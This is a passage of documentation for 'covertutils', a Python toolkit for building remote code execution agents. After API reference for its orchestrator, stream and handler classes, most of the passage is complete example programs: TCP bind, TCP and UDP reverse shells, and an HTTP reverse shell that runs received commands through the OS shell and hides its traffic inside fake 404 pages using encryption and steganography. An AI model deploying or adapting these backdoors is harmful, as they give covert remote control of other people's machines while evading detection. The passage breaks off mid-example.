orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length =
↪50 )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( addr )

def recv () :
        return s.recv(50)

def send( raw ) :
        return s.send( raw )

handler_obj = MyHandler( recv, send, orch )
```

Then it is possible to send *messages* to other *Handler* instances using the *sendAdHoc()* method.

```
handler_obj.sendAdHoc( "Hello from me" )
```

Everytime a message is received, the overriden *onMessage()* method will run.

For the Handler at the other side of the channel, to properly decrypt and handle the binary sent by *handler_obj* it is needed to be instantiated with the `covertutils.orchestration.SimpleOrchestrator.__init__()` argument “”**reverse = True**“”

```
passphrase = "Th1s1sMyS3cr3t"
orch2 = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length =
↪50, reverse = True )

handler_obj2 = MyHandler( recv2, send2, orch2 )
```

The *Handler* Classes are designed for **Multiple Inheritance** for further flexibility. For instance a Querying, Stageable agent can be implemented like below:

```
from covertutils.handlers import InterrogatingHandler, StageableHandler

class MyHandler2( InterrogatingHandler, StageableHandler ) :

        def __init__( self, recv, send, orch, **kw ) :
                super( MyHandler, self ).__init__( recv, send, orch, **kw )

        def onChunk( self, stream, message ) :pass
        def onNotRecognised( self ) :pass
```

Now, creating a *MyHandler2* object needs the 3 standard arguments (inherited from `covertutils.handlers.BaseHandler.__init__()`), and all optional arguments that are needed by the provided *Parent Classes*.

covertutils.orchestration package

Submodules

covertutils.orchestration.orchestrator module

class `covertutils.orchestration.orchestrator.`**Orchestrator**(*passphrase*, *tag_length*, *cycling_algorithm=None*, *streams=[]*, *history=1*, *reverse=False*)

Bases: `object`

Orchestrator objects utilize the *raw data* to **(stream, message)** tuple translation and vice-versa. **(stream, message)** tuples are recognised by the classes in *covertutils.handlers* but data transmission is only possible with *raw data*.

__init__(*passphrase*, *tag_length*, *cycling_algorithm=None*, *streams=[]*, *history=1*, *reverse=False*)

addStream(*stream*)

checkIdentity(*identity*)

Parameters **identity** (*str*) – The identity hash of the *Orchestrator* object to be checked for compatibility.

Rtype bool

Returns Returns *True* if the *Orchestrator* with the passed identity is compatible, *False* if it has the same specs but needs the *reverse* argument toggled, and *None* if it is incompatible (initialized with different *password*, *tag_length*, *streams*, etc).

deleteStream(*stream*)

depositChunk(*chunk*, *ret_chunk=False*)

Parameters

- **chunk** (*str*) – The raw data chunk received.
- **ret_chunk** (*bool*) – If *True* the message part that exists in the chunk will be returned. Else *None* will be returned, unless the provided chunk is the last of a message.

Return type tuple

Returns The *(stream, message)* tuple.

generateIdentity(**args*)

getChunkerForStream(*stream*)

getDefaultStream()

This method returns the stream that is used if no stream is specified in *readyMessage()*.

Return type str

getHistoryChunk(*index=0*)

getIdentity(*length=16*)

Parameters **length** (*int*) – The length of hex bytes to be returned. Defaults to '16'. If a number greater than the available *identity* string is passed, the whole *identity* hash will be returned.

getStreamDict()

getStreams()

readyMessage(*message*, *stream=None*)

Parameters

- **message** (*str*) – The *message* to be processed for sending.
- **stream** (*str*) – The *stream* where the message will be sent. If not specified the default *stream* will be used.

Return type list

Returns The raw data chunks translation of the *(stream, message)* tuple.

reset()
This method resets all components of the *Orchestrator* instance, effectively restarting One-Time-Pad keys, etc.

covertutils.orchestration.simpleorchestrator module

class covertutils.orchestration.simpleorchestrator.**SimpleOrchestrator**(*passphrase, tag_length=2, out_length=10, in_length=10, streams=['main'], cycling_algorithm=None, reverse=False*)

Bases: *covertutils.orchestration.orchestrator.Orchestrator*

The *SimpleOrchestrator* class combines compression, chunking, encryption and stream tagging, by utilizing the below *covertutils* classes:

- covertutils.datamanipulation.Chunker
- covertutils.datamanipulation.Compressor
- covertutils.crypto.keys.StandardCyclingKey
- covertutils.orchestration.StreamIdentifier

__init__(*passphrase, tag_length=2, out_length=10, in_length=10, streams=['main'], cycling_algorithm=None, reverse=False*)

Parameters

- **passphrase** (*str*) – The *passphrase* is the seed used to generate all encryption keys and stream identifiers. Two *SimpleOrchestrator* objects are compatible (can understand each other products) if they are initialized with the same *passphrase*. As *passphrase* is data argument, it is Case-Sensitive, and arbitrary bytes (not just printable strings) can be used.
- **tag_length** (*int*) – Every *Stream* is identified by a Tag, that is also data, appended to every *Message* chunk. The byte length of those tags can be set by this argument. Too small

tags can mislead the *Orchestrator* object to recognise arbitrary data and try to process it (start decompressing it, decrypt it). Too large tags spend too much of a chunks bandwidth.

- **out_length** (*int*) – The data length of the chunks that are returned by the `covertutils.orchestration.SimpleOrchestrator.readyMessage()`.
- **in_length** (*int*) – The data length of the chunks that will be passed to `covertutils.orchestration.SimpleOrchestrator.depositChunk()`.
- **streams** (*list*) – The list of all streams needed to be recognised by the *SimpleOrchestrator*. A "control" stream is always hardcoded in a *SimpleOrchestrator* object.
- **cycling_algorithm** (*class*) – The hashing/cycling function used in all OTP crypto and stream identification. If not specified the `covertutils.crypto.algorithms.StandardCyclingAlgorithm` will be used. The `hashlib.sha256` is a great choice if *hashlib* is available.
- **reverse** (*bool*) – If this is set to *True* the *out_length* and *in_length* are internally reversed in the instance. This parameter is typically used to keep the parameter list the same between 2 *SimpleOrchestrator* initializations, yet make them *compatible*.

addStream(*stream*)

reset()

This method resets all components of the *SimpleOrchestrator* instance, effectively flushing the Chunkers, restarting One-Time-Pad keys, etc.

covertutils.orchestration.stegoorchestrator module

class covertutils.orchestration.stegoorchestrator.**StegoOrchestrator**(*passphrase, stego_config, main_template, transformation_list=[], tag_length=2, cycling_algorithm=None, streams=['main'], hex_inject=False, reverse=False*)

Bases: *covertutils.orchestration.orchestrator.Orchestrator*

The *StegoOrchestrator* class combines compression, chunking, encryption, stream tagging and steganography injection, by utilizing the below *covertutils* classes:

- `covertutils.datamanipulation.AdHocChunker`
- `covertutils.datamanipulation.Compressor`
- `covertutils.crypto.keys.StandardCyclingKey`
- `covertutils.orchestration.StreamIdentifier`
- `covertutils.datamanipulation.StegoInjector`
- `covertutils.datamanipulation.DataTransformer`

The *StegoOrchestrator* packs *(stream, message)* pairs in predefined data templates.

__init__(*passphrase, stego_config, main_template, transformation_list=[], tag_length=2, cycling_algorithm=None, streams=['main'], hex_inject=False, reverse=False*)

Parameters

- **stego_config** (*str*) – The configuration that is passed to *covertutils.datamanipulation.stegoinjector.StegoInjector*.
- **main_template** (*str*) – The default template that will be used in *readyMessage() template* argument.
- **transformation_list** (*list*) – The Transformation List that is passed to the *covertutils.datamanipulation.datatransformer.DataTransformer* object.
- **cycling_algorithm** (*class*) – The hashing/cycling function used in all OTP crypto and stream identification. If not specified the `covertutils.crypto.algorithms.StandardCyclingAlgorithm` will be used. The `hashlib.sha256` is a great choice if *hashlib* is available.
- **streams** (*list*) – The list of all streams needed to be recognised by the *SimpleOrchestrator*. A "control" stream is always hardcoded in a *SimpleOrchestrator* object.
- **intermediate_function** (*func*) – A *codec* function with signature *codec(data, encode = False)*. The function is called before and injection of a chunk with *encode = True* and after the extraction of a chunk with *encode = False*.
- **reverse** (*bool*) – If this is set to *True* a *StegoOrchestrator* with reverse streams is created. This parameter is typically used to keep the parameter list the same between 2 *StegoOrchestrator* initializations, yet make them *compatible*.

addStream(*stream*)

depositChunk(*chunk*)

Parameters

- **chunk** (*str*) – The raw data chunk received.
- **ret_chunk** (*bool*) – If *True* the message part that exists in the chunk will be returned. Else *None* will be returned, unless the provided chunk is the last of a message.

Return type tuple

Returns The *(stream, message)* tuple.

lastReceivedTemplate()

Return type str

Returns Returns the last template received.

readyMessage(*message*, *stream=None*)

Parameters

- **message** (*str*) – The *message* to be processed for sending.
- **stream** (*str*) – The *stream* where the message will be sent. If not specified the default *stream* will be used.

Return type list

Returns The raw data chunks translation of the *(stream, message)* tuple.

useTemplate(*template*)

Parameters **template** (*str*) – The template to use for the next Message. Use *None* for random templates.

covertutils.orchestration.streamidentifier module

class covertutils.orchestration.streamidentifier.**StreamIdentifier**(*passphrase*, *stream_list=[]*, *cycling_algorithm=None*, *reverse=False*, *hard_stream='control'*)

__init__(*passphrase*, *stream_list=[]*, *cycling_algorithm=None*, *reverse=False*, *hard_stream='control'*)

addStream(*stream_name*)

checkIdentifier(*bytes_*)

deleteStream(*stream_name*)

getHardStreamName()

getIdentifierForStream(*stream_name=None*, *byte_len=2*)

getStreams()

reset()

Module contents

covertutils.pivots package

Submodules

covertutils.pivots.simplepivot module

class covertutils.pivots.simplepivot.**SimplePivot**(*lhandler*, *rhandler*)

The Pivot class is used to pass messages between 2 Handler objects. It can be used to bridge an Agent and a Handler using a third host.

__init__(*lhandler*, *rhandler*)

Module contents

covertutils.prompts package

Submodules

covertutils.prompts.textprompt module

class covertutils.prompts.textprompt.**TextPrompt**(*handler*, *prompt='(covertutils v0.2.0)[{0}]> '*)

Bases: cmd.Cmd

__init__(*handler*, *prompt='(covertutils v0.2.0)[{0}]> '*)

availableStreams()

default(*line*)

do_EOF(*line*)

emptyline()

modifier_char = '!'

Module contents

Submodules

covertutils.exceptions module

All exception of *covertutils* package are provided centrically in this module.

exception covertutils.exceptions.**InvalidChunkException**
Bases: exceptions.Exception

Exception thrown when the chunks are invalid

exception covertutils.exceptions.**NoFunctionAvailableException**
Bases: exceptions.Exception

This Exception is raised when the received stream does not have a corresponding function.

exception covertutils.exceptions.**StegoDataExtractionException**
Bases: exceptions.Exception

This Exception is thrown whenever data extraction from a Data is not possible

exception covertutils.exceptions.**StegoDataInjectionException**
Bases: exceptions.Exception

This Exception is thrown whenever given data cannot be properly injected in Data

exception covertutils.exceptions.**StegoSchemeParseException**
Bases: exceptions.Exception

This Exception is thrown whenever the StegoScheme syntax gets violated

exception covertutils.exceptions.**StreamAdditionException**
Bases: exceptions.Exception

This Exception is thrown if any issue happens in stream addition.

exception covertutils.exceptions.**StreamAlreadyExistsException**
Bases: *covertutils.exceptions.StreamAdditionException*

This Exception is thrown if an existing stream is tried to be re-added.

exception covertutils.exceptions.**StreamDeletionException**
Bases: exceptions.Exception

This Exception is thrown if the deletion of a stream is not possible.

exception covertutils.exceptions.**TemplateNotFoundException**
Bases: exceptions.Exception

This Exception is thrown when the template passed as argument is not available in the *covertutils.datamanipulation.stegoinjector.StegoInjector* configuration string

covertutils.helpers module

exception covertutils.helpers.**CovertUtilsException**
Bases: exceptions.Exception

General Exception for raising in helper functions

covertutils.helpers.**copydoc**(*fromfunc*, *sep='\n'*)
Decorator: Copy the docstring of *fromfunc*

covertutils.helpers.**defaultArgMerging**(*defaults*, *kwargs*)

covertutils.helpers.**isprintable**(*s*)

covertutils.helpers.**permutate**(*list_*, *number_set*)

covertutils.helpers.**str_similar**(*a*, *b*)

covertutils.helpers.**sxor**(*s1*, *s2*)

covertutils.helpers.**xor_str**(*s1*, *s2*)

covertutils.payloads module

This module provides the CommonStages dict which contains functions properly implemented for use alogn with covertutils.handlers.FunctionDictHandler and subclasses.

The payloads.CommonStages contents are arranged by feature as follows:

```
CommonStages['shell']                # Contains another dict with keys every usable␣
↪instance of the `shell` feature.
CommonStages['shell']['function']        # Contains the actual pointer to the `shell`␣
↪function. This function executes its argument directly to the Operating System's␣
↪shell and returns the Standard Output.
CommonStages['shell']['marshal']         # Contains a serialized representation of␣
↪`shell` function using the `python marshal` build-in module.
```

marshal stages are suitable for use with covertutils.handlers.StageableHandler. They can be remotely deployed to an existing agent and called via a specified *stream*.

```
>>> from covertutils.payloads import CommonStages
>>>
>>> CommonStages['shell']['function']("echo 1")
'1\n'
>>> CommonStages['shell']['marshal']
'c\x01\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s&
↪\x00\x00\x00d\x01\x00d\x02\x00l\x00\x00m\x01\x00}
↪\x01\x00\x01|\x01\x00|\x00\x00\x83\x01\x00j\x02\x00\x83\x00\x00}
↪\x02\x00|\x02\x00S(\x03\x00\x00\x00Ni\xff\xff\xff\xff(\x01\x00\x00\x00t\x05\x00\x00\x00popen(\x03\x
↪Stages.pyt\x0e\x00\x00\x00__system_
↪shell\x04\x00\x00\x00s\x06\x00\x00\x00\x01\x10\x01\x12\x01'
```

Module contents

The *covertutils* module provides ready plug-n-play tools for *Remote Code Execution Agent* programming. Features like *chunking*, *encryption*, *data identification* are all handled transparently by its classes. The

`SimpleOrchestrator` handles all data manipulation, and the `Handlers.BaseHandler` derivative classes handle the agent's and handler's actions and responses.

The module does not provide networking functionalities. All networking has to be wrapped by two functions (a sender and a receiver functions) and Handlers will use those for raw_data.

CHAPTER 5

Programming Examples

Examples can be run using the makefile available in the repo, as shown below:

```
make EX='examples/example_script.py 8080' run
```

Notice that examples have to be tested in pairs (agents - handlers).

Simple TCP Bind Shell

Server - Agent

```
#!/usr/bin/env python
from covertutils.handlers.impl import SimpleShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

from hashlib import sha512

passphrase = "Pa55phra531"
addr = "0.0.0.0", int(sys.argv[1])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        #
s.bind( addr )                  # Handling Networking
s.listen(5)                   # independently of covertutils

while True :                  # Make it listen `hard`
        client, client_addr = s.accept()                # Blocking the main thread

        def recv () :                 # Create wrappers for networking
                return client.recv( 50 )
```

```
        def send( raw ) :                # Create wrappers for networking
                return client.send( raw )

        orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_
↪length = 50, reverse = True, cycling_algorithm = sha512 )
        handler = SimpleShellHandler( recv, send, orch )        # Create the Handler␣
↪Daemon Thread
```

Client - Handler

```
#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.prompts import TextPrompt

import sys
import socket
from time import sleep

from hashlib import sha512

try :
        program, ip, port, passphrase = sys.argv
except :
        print """Usage:
        %s <ip> <port> <passphrase>""" % sys.argv[0]
        sys.exit(1)

addr = ip, int(port)

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length =␣
↪50, cycling_algorithm = sha512 )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( addr )

def recv () :
        return s.recv(50)

def send( raw ) :
        return s.send( raw )


class MyHandler( BaseHandler ) :

        def onChunk( self, stream, message ) :
                pass

        def onMessage( self, stream, message ) :
                print message

        def onNotRecognised( self ) :
                print "Got Garbage!"

handler = MyHandler( recv, send, orch )
```

```
prompt = TextPrompt(handler, "(%s:%d) [stream:{0}]$ " % addr)
prompt.cmdloop()
```

Simple TCP Reverse Shell

Client - Agent

```
#!/usr/bin/env python
from covertutils.handlers.impl import SimpleShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

from hashlib import sha512

passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

closed = True

while True :

    if closed :
        try :
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect( addr )
            closed = False
        except Exception as e:
            sleep( delay )
            continue

    def recv () :
        global closed
        ret = s.recv(50)
        if ret == '' :      # in empty string socket is closed
            closed = True
            s.close()
            ret = 'X'
        return ret


    def send( raw ) :
            return s.send( raw )

    orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length␣
↪= 50, reverse = True, cycling_algorithm = sha512 )
    handler = SimpleShellHandler( recv, send, orch )        # Create the Handler␣
↪Daemon Thread
```

```
    while not closed : sleep(1)
    # while True : sleep(10)
```

Server - Handler

```
#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.prompts import TextPrompt

import sys
import socket
from time import sleep

from hashlib import sha512

try :
        program, port, passphrase = sys.argv
except :
        print """Usage:
        %s <port> <passphrase>""" % sys.argv[0]
        sys.exit(1)

addr = '0.0.0.0', int(port)

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length =␣
↪50, cycling_algorithm = sha512 )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        #
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind( addr )                  # Handling Networking
s.listen(5)                # independently of covertutils

print "Accepting"
client, client_addr = s.accept()                # Blocking the main thread
print "Accepted"

def recv () :                # Create wrappers for networking
        return client.recv( 50 )

def send( raw ) :                # Create wrappers for networking
        return client.send( raw )


class MyHandler( BaseHandler ) :

        def onChunk( self, stream, message ) :
                pass

        def onMessage( self, stream, message ) :
                print message

        def onNotRecognised( self ) :
                print "Got Garbage!"
```

```
handler = MyHandler( recv, send, orch )

prompt = TextPrompt(handler, "(%s:%d) [stream:{0}]$ " % addr)
prompt.cmdloop()
```

Simple UDP Reverse Shell

Client - Agent

```
#!/usr/bin/env python
from covertutils.handlers.impl import SimpleShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

from hashlib import sha512

passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

def recv () :                # Create wrappers for networking
    return s.recvfrom( 50 )[0]

def send( raw ) :                # Create wrappers for networking
        return s.sendto( raw, addr )

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length =␣
↪50, reverse = True, cycling_algorithm = sha512 )
handler = SimpleShellHandler( recv, send, orch )        # Create the Handler Daemon␣
↪Thread

while True :
    send( 'X' )
    sleep( delay )
```

Server - Handler

```
#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.prompts import TextPrompt

import sys
import socket
from time import sleep
```

```
from hashlib import sha512

try :
        program, port, passphrase = sys.argv
except :
        print """Usage:
        %s <port> <passphrase>""" % sys.argv[0]
        sys.exit(1)

addr = '0.0.0.0', int(port)
client_addr = None
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length =␣
↪50, cycling_algorithm = sha512 )

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)        #
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind( addr )                 # Handling Networking

synchronized = False

def recv () :                 # Create wrappers for networking
        global client_addr
        global synchronized
        addr = False
        while addr != client_addr :
                ret, addr = s.recvfrom( 50 )
                if ret == 'X' :
                        client_addr = addr
                        synchronized = True

        return ret

def send( raw ) :                # Create wrappers for networking
        return s.sendto( raw, client_addr )


class MyHandler( BaseHandler ) :

        def onChunk( self, stream, message ) :        pass
        def onNotRecognised( self ) :        pass

        def onMessage( self, stream, message ) :
                print message


handler = MyHandler( recv, send, orch )

# while True :
#
#         if synchronized :
#                 c = raw_input("(%s:%d) $ " % addr)
#                 handle.sendAdHoc( c, 'control' )
#         sleep(0.1)

prompt = TextPrompt(handler, "(%s:%d) [stream:{0}]$ " % addr)
prompt.cmdloop()
```

Advanced HTTP Reverse Shell

Client - Agent

```
#!/usr/bin/env python

#                         Disclaimer!
#         This code is not an optimal HTTP reverse shell!
# It is created to introduce as many aspects of 'covertutils' as possible.
# There are muuuuuch better ways to implement a reverse HTTP shell using this package,
# using many Python helpers like SimpleHTTPServer.
# In this file the HTTP requests/responses are crafted in socket level to display
# the concept of 'StegoOrchestrator' class and network wrapper functions

from covertutils.handlers import InterrogatingHandler, FunctionDictHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate
from covertutils.payloads import CommonStages

from os import urandom
from time import sleep
import sys
import socket


#============================== HTTP Steganography part ===================

resp_ascii = '''HTTP/1.1 404 Not Found
Date: Sun, 18 Oct 2012 10:36:20 GMT
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
</html>
'''
resp_templ = asciiToHexTemplate( resp_ascii )

req_ascii = '''GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
↪~ HTTP/1.1
Host: {0}
Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
↪~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

```
'''                 # 2 new lines terminate the HTTP Request
req_templ = asciiToHexTemplate( req_ascii )

#                Create the StegoOrchestrator configuration string
stego_config = '''
X:_data_:\n\n

resp = """%s"""
req = """%s"""
''' % ( resp_templ, req_templ )

#=============================================================================


#============================== Handler Overriding part ==================

# Making a dict to map every 'stream' to a function to be called with the message as␣
↪argument
_function_dict = { 'control' : CommonStages['shell']['function'], 'main' :␣
↪CommonStages['shell']['function'] }

# We need a handler that will ask for and deliver data, initiating a communication␣
↪once every 2-3 seconds.
# This behavior is modelled in the 'InterrogatingHandler' with the 'delay_between'␣
↪argument.
# The 'FunctionDictHandler' automatically runs all messages through function found in␣
↪a given dict
class ShellHandler ( InterrogatingHandler, FunctionDictHandler ) :

        def __init__( self, recv, send, orch ) :
                super( ShellHandler, self ).__init__( recv, send, orch, # basic␣
↪handler arguments
                                                                                fetch_
↪stream = 'main',         # argument from 'InterrogatingHandler'
                                                                                function_
↪dict = _function_dict, # argument from 'FunctionDictHandler'
                                                                                delay_
↪between = (2, 3)          # argument from 'InterrogatingHandler'
                                                                                )
↪# The arguments will find their corresponding class and update the default values

        def onChunk( self, stream, message ) : pass                 # If a part of a␣
↪message arrives - do nothing.

        def onMessage( self, stream, message ) :                # If a message arrives

                if message != 'X'␣
↪:                                                              # If message is␣
↪not the 'no data available' flag
                        stream, output = FunctionDictHandler.onMessage( self, stream,␣
↪message )        # Run the received message

↪#through the corresponding function
                        # stream, message = super( ShellHandler, self ).onMessage(␣
↪stream, message )        # Run

                        print "[+] Command Run!"
                        # print "[+] Command Run: '%s'!" % output
```

```
                        # print "Got to send %d bytes" % len(output)
                        self.queueSend( output, stream )                        #␣
↪Queue the output to send in next interval


        def onNotRecognised( self ) : print "[!] < Unrecognised >"


#============================================================================


#============================== Networking part ============================
# The networking is handled by Python API. No 'covertutils' code here...

#        Handler's location
addr = ( sys.argv[1], int( sys.argv[2]) )        # called as 'python Client.py 127.0.
↪0.1 8080'

#        Create a simple socket
client_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

#        As every HTTP request/response needs a new Socket,
# this variable is used to inform network wrappers if the last HTTP transaction is␣
↪finished
# It is used in spin-locks. Could be designed a lot better with mutex and up/down.
same_con = False

def send( raw ) :
        global client_socket
        global same_con
        while same_con : sleep (0.01); continue;        # If the last transaction isn
↪'t finished - block
        while not same_con :
                try :                           # Try starting a new connectio if the␣
↪Server is up
                        client_socket = socket.socket( socket.AF_INET, socket.SOCK_
↪STREAM )        # Start new HTTP transaction
                        client_socket.connect( addr )
                        client_socket.send( raw )                       # Send the␣
↪data
                        same_con = True                         # make the 'recv'␣
↪unblock
                except Exception as e:
                        # print e
                        sleep( 2 )        # Retry to connect to handler every 2␣
↪seconds

def recv( ) :
        global client_socket
        global same_con
        while not same_con : sleep (0.01); continue        # If an HTTP transaction␣
↪hasn't started - block
        ret = client_socket.recv( 2048 )                # Get the HTTP response
        client_socket = None                                    # The socket will␣
↪be closed by the HTTP Server
        same_con = False                                                # unblock the
↪'send' function to start a new HTTP transaction
        return ret
```

```
#============================================================================


#============================Handler Creation================================

passphrase = "App1e5&0raNg3s"        # This is used to generate encryption keys
orch = StegoOrchestrator( passphrase,
                                                    stego_config = stego_config,
                                                    main_template = "resp",
↪                # The template to be used
                                                    hex_inject = True,
↪                        # Inject data in template in hex mode
                                                    reverse = True␣
↪)                         # For 2 Orchestrator objects to be compatible one must␣
↪have 'reverse = True'

handler = ShellHandler( recv, send, orch )

#============================================================================

# Wait forever as all used threads are daemonized
while True : sleep(10)


#        Magic!
```

Server - Handler

```
#!/usr/bin/env python

#                          Disclaimer!
#         This code is not an optimal HTTP reverse shell!
# It is created to introduce as many aspects of 'covertutils' as possible.
# There are muuuuuch better ways to implement a reverse HTTP shell using this package,
# using many Python helpers like SimpleHTTPServer.
# In this file the HTTP requests/responses are crafted in socket level to display
# the concept of 'StegoOrchestrator' class and network wrapper functions

from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate
from covertutils.prompts import TextPrompt

from time import sleep
from os import urandom
import random
import string
import sys

import socket
from threading import Thread

#============================== HTTP Steganography part ==================

resp_ascii = '''HTTP/1.1 404 Not Found
```

```
Date: Sun, 18 Oct 2012 10:36:20 GMT
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
</html>
'''
resp_templ = asciiToHexTemplate( resp_ascii )

req_ascii = '''GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
↪~ HTTP/1.1
Host: {0}
Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
↪~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

'''                 # 2 new lines terminate the HTTP Request
req_templ = asciiToHexTemplate( req_ascii )

#                Create the StegoOrchestrator configuration string
stego_config = '''
X:_data_:\n\n

resp = """%s"""
req = """%s"""
''' % ( resp_templ, req_templ )

#==========================================================================



#============================== Handler Overriding part ===================

# It is an HTTP Server, so it has to send data only when requested.
# Hence the use of the 'ResponseOnlyHandler' which sends data only when 'onMessage()'␣
↪is hit with the self.request_data message
class MyHandler ( ResponseOnlyHandler ) :        #
        # Overriding original onMessage method to send a response in any case - not␣
↪only 'ResponseOnlyHandler.request_data' message arrives
        def onMessage( self, stream, message ) :
                # If the Parent Class would respond (the message was a request), don
↪'t bother responding
                responded = super( MyHandler, self ).onMessage( stream, message )
                if not responded :        # If the message was real data (not
↪'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
                        self.queueSend("X", 'main');        # Make it respond anyway␣
↪with 'X' (see Client)
```

```
                        responded = super( MyHandler, self ).onMessage( stream,␣
↪message )
                        assert responded == True                # This way we know it␣
↪responsed!
                if message != self.request_data :
                        print
                        print message                                   # If the␣
↪message was real data print it

        def onChunk( self, stream, message ) :
                if message : return                                     # If this␣
↪chunk is the last and message is assembled let onMessage() handle it
                # print "[*] Got a Chunk"
                self.onMessage( 'main', self.request_data )         # If this is a␣
↪message chunk, treat it as a 'request_data' message

        def onNotRecognised( self ) :
                # print "[!]< Unrecognised >"                       # If someone␣
↪that isn't the client sent an HTTP Request
                to_respond = resp_ascii                             # create a new␣
↪response from template (manually)
                while '~' in to_respond :                       # Fill it with␣
↪random data
                        random_hex_digit = random.choice(string.hexdigits.upper())
                        to_respond = to_respond.replace('~', random_hex_digit, 1)
                send( to_respond )                                      # Sent it
                # This way all random connections will get the same 404 page with␣
↪random hex in the comments.
                #        Good luck decrypting that...
#=============================================================================


#============================== Networking part ==========================
# The networking is handled by Python API. No 'covertutils' code here...

addr = ("0.0.0.0", int( sys.argv[1]) )                  # The Listening Address tuple

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        # Listening␣
↪socket
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        # Free the␣
↪socket object directly after process finishes
server_socket.bind( addr )                  # Handling Networking
server_socket.listen(5)                         # independently of covertutils

# HTTP Servers work like:
#        Client (Socket Opens)  Server
#        Client ------SYN-----> Server
#        Client <---SYN-ACK---- Server
#        Client ------ACK-----> Server

#        Client (HTTP Request)  Server
#        Client --------------> Server
#        Client (HTTP Response) Server
#        Client <-------------- Server

#        Client (Socket Close)  Server
#        Client <-----FIN------ Server
#        Client ----FIN-ACK---> Server
```

```
#        Client <-----ACK------ Server

# As this happens for every HTTP Request/Response the 'send' and 'recv' functions
# use spin-locks to block and recognise when they can tranfer data.
# 'send' and 'recv' are wrappers for Handler object networking. Covertutils is␣
↪network agnostic


client = None                                                  # Globally define the␣
↪client socket

def recv () :
        global client
        while not client : continue        # Wait until there is a client
        ret = ''
        while not ret :                          # Block until all data is received
                ret = client.recv( 2048 )
        return ret                         # Return the received data


def send( raw ) :
        global client
        while not client : continue        # Wait until there is a client
        client.send( raw )                         # Send the data through the socket
        client.shutdown(socket.SHUT_RDWR) #        Terminate the Socket
#============================================================================


#============================Handler Creation============================

passphrase = "App1e5&0raNg3s"        # This is used to generate encryption keys
orch = StegoOrchestrator( passphrase,
                                                        stego_config = stego_config,
                                                        main_template = "resp",
↪                # The template to be used
                                                        hex_inject = True␣
↪)                        # Inject data in template in hex mode

